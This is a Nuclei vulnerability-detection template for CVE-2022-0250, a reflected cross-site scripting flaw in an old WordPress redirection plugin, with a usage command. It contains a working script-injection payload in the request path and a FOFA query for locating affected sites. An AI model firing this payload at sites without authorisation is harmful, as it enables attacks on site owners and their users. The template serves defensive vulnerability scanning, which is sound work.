Redirection for Contact Form 7 < 2.5.0 - Cross-Site Scripting

ID: CVE-2022-0250

Severity: medium

Author: ritikchaddha

Tags: cve,cve2022,wordpress,wp,wp-plugin,wpcf7,contact-form7,xss

Description

The Redirection for Contact Form 7 WordPress plugin before 2.5.0 does not escape a link generated before outputting it in an attribute, leading to a Reflected Cross-Site Scripting.

YAML Source

id: CVE-2022-0250

info:
  name: Redirection for Contact Form 7 < 2.5.0 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    The Redirection for Contact Form 7 WordPress plugin before 2.5.0 does not escape a link generated before outputting it in an attribute, leading to a Reflected Cross-Site Scripting.
  impact: |
    Allows attackers to execute malicious scripts in the context of a user's browser session
  remediation: |
    Update Redirection for Contact Form 7 Plugin to the latest version to mitigate CVE-2022-0250
  reference:
    - https://wpscan.com/vulnerability/05700942-3143-4978-89eb-814ceff74867
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0250
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-0250
    cwe-id: CWE-79
    epss-score: 0.00095
    epss-percentile: 0.39315
    cpe: cpe:2.3:a:redirection-for-contact-form7:redirection_for_contact_form_7:*:*:*:*:*:wordpress:*:*
  metadata:
    verifiedl: true
    max-request: 1
    vendor: redirection-for-contact-form7
    product: redirection_for_contact_form_7
    framework: wordpress
    fofa-query: body="/wp-content/plugins/wpcf7-redirect"
  tags: cve,cve2022,wordpress,wp,wp-plugin,wpcf7,contact-form7,xss

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=Accessibility&%22%3E%3Cscript%3Ealert%28%22document_domain%22%29%3C/script%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Key Characters: "><script>alert("document_domain")</script>'

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e1630c84f2eeb8145424e7ee99adb6a647429ff2466a0c2cb4d7f98e2a0fa899022024210ff6948d6d1c8b6b231f3b5cf0e05ef8ce9f1c80e56469d4cff24f69ce51:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-0250.yaml"

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